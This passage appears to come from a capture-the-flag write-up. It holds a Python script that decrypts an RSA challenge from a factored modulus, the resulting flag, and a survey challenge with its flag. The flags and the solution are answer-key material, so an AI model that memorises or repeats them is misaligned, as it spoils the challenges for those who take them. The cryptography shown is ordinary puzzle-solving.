ct = 1918452064660929090686220330495385310745803950329608928110672560978679963497394969369363585721389729566306519544561789659164639271919010791127784820214512488663422537225906608133719652453804000168907004058397487865279113133220466050285

primes = {2: 4, 5: 1, 71: 1, 103: 1, 8581: 1, 50543: 1, 190026430624001: 1,
    2703970397964298301: 1, 2612704207743743498414225576245857791: 1,
    9202842813283520053373814153366196725555378670569425651403981961003320229089581578132314718638828971883763395128536959296142080739168256752552585624307: 1}

phi = 1
for k, v in list(primes.items()):
    phi *= (k - 1) * (k ** (v - 1))

d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print flag
flag{plz_n0_guess_sum_of_a_b_c_d1vides_n}

Survey (misc)

アンケートに答えたら、フラグが表示された。

flag{thamks_for_playing_beautiful_people!}